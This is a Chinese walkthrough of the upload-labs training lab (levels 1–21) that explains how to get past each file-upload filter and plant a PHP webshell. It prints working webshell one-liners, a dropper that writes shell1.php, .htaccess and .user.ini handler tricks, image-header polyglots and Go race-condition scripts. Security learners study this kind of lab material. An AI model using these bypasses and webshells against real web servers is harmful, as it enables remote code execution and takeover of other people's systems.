最近发现文件上传有很大欠缺,遂有了这篇文章。

Pass-01

image-20240525210929137

上传shell.php,这里已经打开的BP进行抓包,但是点击上传后还没拦截到包就弹窗了,说明这是一个前端校验,那么这里可以选择禁用js或者BP拦截改后缀。

image-20240525210724478

Pass-02

第二关检查MIME(Content-Type),那么直接BP拦截修改Content-Type请求头即可。

image-20240525212427292

Pass-03

image-20240525213435293

上传shell发现提示,那么选择大小写绕过,发现不行,那么试试php5

image-20240525213652174

成功上传。但是访问发现没有当成php文件进行解析。这里其实就涉及到php解析的相关知识了,虽然apache的服务器可以解析将文件作为php文件进行解释,但是这也不是绝对的。在apache的配置文件中找到:AddType application/x-httpd-php将注释解除变更为: AddType application/x-httpd-php .php .phtml .phps .php5 .pht就可以解析了。

image-20240525221929430

保存然后重新载入配置文件即可解析该文件。

Pass-04

看一眼源码:

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空

        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

黑名单过滤,这里把能用的后缀都禁用了。但是没有禁用**.htaccess文件,所以可以上传一个.htaccess文件来让apache解析jpg文件为php**。

.htaccess是Apache Web服务器中用于配置网站设置和处理请求的配置文件。它的全名是“hypertext access”,通常写成 .htaccess,是一个隐藏文件,放置在网站的根目录或特定目录下。.htaccess文件允许网站管理员在特定目录中覆盖默认的服务器配置。通过 .htaccess文件,您可以实现诸如重定向URL、启用身份验证、设置错误页面、限制访问等功能,而无需修改全局的服务器配置文件(如 httpd.conf)。这个文件中包含的指令可以影响当前目录及其所有子目录下的文件,除非子目录中存在另一个 .htaccess文件来覆盖父目录中的设置。

Pass-03中,我们修改的是服务器默认配置,这里修改的是特殊配置。这里先上传一个**.htaccess**文件,其内容:

<FilesMatch "shell.jpg">
  SetHandler application/x-httpd-php
</FilesMatch>
  1. <FilesMatch "shell.jpg">:这一行指定了一个文件匹配的条件。它告诉Apache只有当请求的文件名是"shell.jpg"时,后续的指令才会生效。<FilesMatch>指令允许您为特定的文件或文件模式指定配置指令。
  2. SetHandler application/x-httpd-php:这一行指定了如何处理匹配条件下的文件。在这种情况下,它告诉Apache将请求的"shell.jpg"文件解释为PHP脚本并执行。SetHandler指令设置了用于处理特定文件类型或模式的处理程序。

然后再上传shell.jpg其内容为一句话木马。

Pass-05

好了,这一关又禁掉了**.htaccess**。。。。。。

但是仔细一看,发现没有禁掉 .ini后缀。

.user.ini文件是PHP应用程序中用于配置PHP运行时选项的文件。它的作用类似于 .htaccess文件,但是它是用于PHP环境的,而不是用于Apache服务器的。一般情况下,.user.ini文件放置在您的Web应用程序的根目录下。它允许您修改PHP的一些配置选项,例如内存限制、执行时间限制、上传文件大小限制、错误报告级别等。

首先上传一个.user.ini文件,其内容为:

auto_prepend_file=shell.jpg
  • auto_prepend_file是PHP.ini配置文件中的一个选项,用于指定一个PHP脚本,在每个PHP文件执行之前都会被自动包含("prepend")。在这种情况下,auto_prepend_file=shell.jpg会指定一个名为 shell.jpg的文件作为自动包含的脚本。

随后上传shell.jpg文件,其内容为一句话木马,静静等待5分钟,然后访问它自带的readme.php文件即可。

注:利用.ini文件有三个条件

  • 服务器脚本语言为PHP
  • 服务器使用CGI/FastCGI模式
  • 上传目录下要有可执行的php文件
  • 支持.user.ini,有些docker的配置文件中没有对该文件进行配置

Pass-06

这一关去掉了强制小写,因此采用大小写绕过。上传shell.Php文件即可。

Pass-07

这一关去掉了trim函数,因此采用空格绕过:

image-20240525233143146

注:此种方法对中间件有所限制,有时会完整保留后缀名即空格也会保留,这就产生了服务器会不会对这种后缀进行解释的问题。

Pass-08

这一关没有删掉最后面的点,因此可以使用.来绕过:

image-20240525234144550

蚁剑连接 http://xxx/upload/shell.php.即可。

Pass-09

这一关同样,没有删除特殊字符。因此使用特殊字符绕过:

image-20240525235323068

然后使用蚁剑连接的时候不要加 ::$DATA

注:这种利用方式仅在Windows系统下有效,因为 '::$DATA'是一种Windows操作系统中的特殊表示方式,在Linux系统中没有效果。

Pass-10

这一关的删除空格有点说法:

image-20240525235645586

deldot()函数会从后向前检测.但是遇到空格会停止,所以使用 . .进行绕过:

image-20240526000136016

然后访问:http://xxx/upload/shell.php.%20即可。

注:最后的空格不要丢

Pass-11

这一关会替换黑名单后缀:

$file_name = str_ireplace($deny_ext,"", $file_name);

但是只会替换一次,所以使用双写即可绕过。

image-20240526000911369

Pass-12

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
    if(in_array($file_ext,$ext_arr)){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = '上传出错!';
        }
    } else{
        $msg = "只允许上传.jpg|.png|.gif类型文件!";
    }
}

这段代码获取了后缀然后进行拼接,而且还使用了白名单,基本上在文件名上没有什么操作空间了,但是在特殊情况下 move_uploaded_file()函数会产生\x00截断,而%00解码后就对应十六进制\x00。

image-20240526001826255

注:此种利用方式有限制,apache版本调至5.2.17而且magic_quotes_gpc=off

Pass-13

这一关与Pass-12类似,区别就是改用POST传参,在POST传参中不会对数据进行URL解码,所以在发包时要修改其HEX。

image-20240526003231878

这里先用空格填充,方便寻找,然后改为00即可。

Pass-14

这一关读取的上传文件的前两个字节判断文件类型。所以可以构造图片马shell.png

GIF89a
<?php @eval($_POST['attack']);?>

图片头:

JPG     FF D8 FF E0
GIF     47 49 46 38 39 61     // 相当于文本的GIF89a
PNG     89 50 4E 47

上传然后配合文件包含漏洞使用即可:

image-20240526101716973

Pass-15

这一关使用了两个函数:

$info = getimagesize($filename);
$ext = image_type_to_extension($info[2]);

这样获取文件类型是存在隐患的,其原理与Pass-14类似,是读取文件头几个字节进行判断,因此这一关使用Pass-14的图片马即可。

Pass-16

这一关使用了 exif_imagetype()

$image_type = exif_imagetype($filename);
switch ($image_type) {
    case IMAGETYPE_GIF:
        return "gif";
        break;
    case IMAGETYPE_JPEG:
        return "jpg";
        break;
    case IMAGETYPE_PNG:
        return "png";
        break;  
    default:
        return false;
        break;
}

这个函数是读取文件第一个字节并根据文件名后缀进行类型判断,因此仍然使用Pass-14的图片马。

Pass-17

这一关进行了二次渲染,相当于是在上传照片的基础上重组了一张照片,这就要求图片格式是真实的。因此使用Pass-14的图片马就不行了。所以这一关的图片马制作方法是将一句话木马插入到一张真实照片中。首先准备一张真实照片,然后010打开将一句话木马写进去:

image-20240526103948229

但是用蚁剑连接连不上,下载下来观察发现一句话木马消失了原因可能是二次渲染的时候去掉了。所以这里应该先上传一张正常的图片然后下载浏览器上的照片,用010观察HEX没有改变的位置,然后将一句话木马插入到该位置。

Pass-18

这一关提示要代码审计:

if(move_uploaded_file($temp_file, $upload_file)){
    if(in_array($file_ext,$ext_arr)){
         $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
         rename($upload_file, $img_path);
         $is_upload = true;
    }else{
        $msg = "只允许上传.jpg|.png|.gif类型文件!";
        unlink($upload_file);
    }
}else{
    $msg = '上传出错!';
}

可以看到保存照片的逻辑是先保存再判断其合法性,所以可以使用条件竞争,在它判断之前进行访问。这里替换一下一句话木马:

<?php fputs(fopen('shell1.php','w'),'<?php @eval($_POST["attack"])?>');?>

多线程上传这个文件:

image-20240526112047129

image-20240526112145363

然后开始发包即可,同时使用脚本不断访问上传的这个shell.php文件:

package main

import (
	"gitee.com/Cristrik010/requests"
	"strings"
)

func main() {
	url := "http://xxx/upload/shell.php"
	for true {
		res := requests.Get(url)
		if strings.Contains(res.Status, "200") {
			println("ok")
			break
		}
	}
}

等待几分钟输出ok,蚁剑连接shell1.php即可

Pass-19

观察源码

$ret = $this->move();
if( $ret != 1 ){
  return $this->resultUpload( $ret );  
}

// check if we need to rename the file

if( $this->cls_rename_file == 1 ){
  $ret = $this->renameFile();
  if( $ret != 1 ){
    return $this->resultUpload( $ret );  
  }
}

这一关在进行了一系列文件类型判断后,仍然是先保存然后再重命名。那么与Pass-18的区别就是,在保存前进行了文件类型的判断,所以这一关条件竞争上传图片马,然后再进行访问即可:

package main

import (
	"gitee.com/Cristrik010/requests"
	"strings"
)

func main() {
	url := "http://xxx/include.php?file=upload/shell.png"
	for true {
		res := requests.Get(url)
		if strings.Contains(res.Status, "200") {
			println("ok")
			break
		}
	}
}

Pass-20

$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");

$file_name = $_POST['save_name'];
$file_ext = pathinfo($file_name,PATHINFO_EXTENSION);

if(!in_array($file_ext,$deny_ext)) {
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $img_path = UPLOAD_PATH . '/' .$file_name;
    if (move_uploaded_file($temp_file, $img_path)) { 
        $is_upload = true;
    }else{
        $msg = '上传出错!';

能够看出这一关保存的文件名由用户控制,并对用户输入文件名的后缀进行了判断。这一关利用 move_uploaded_file()函数的一个特性:会忽略掉文件末尾的 /.

image-20240526114252892

回显的文件名虽然带 /.但实际上被 move_uploaded_file()函数忽略了,因此连接时使用 /upload/upload-19.php路径即可。

Pass-21

观察这一关源码:

image-20240526115110944

这一关需要修改MIME,然后通过save_name参数进行绕过,我们可以构造一个数组 save_name[],在上图中的 $ext会对最后一个元素进行白名单过滤,然后最下面框起来的是对文件进行重命名,reset()函数会取数组第一个元素,这里要注意 $file[count($file) - 1]并不是取数组最后一个元素。因此我们可以构造一下数组:

<?php

$file[0] = 'shell.php';
$file[2] = '.png';
echo 'count($file):'.count($file),"\n";
echo 'reset($file):'.reset($file),"\n";
echo '$file[count($file) - 1]:'.$file[count($file) - 1],"\n";
echo 'end($file):'.end($file),"\n";
// count($file):2
// reset($file):shell.php
// $file[count($file) - 1]:
// end($file):.png

可以看出 $file[count($file) - 1]取了不存在的元素,所以此表达式为空值。

image-20240526201000134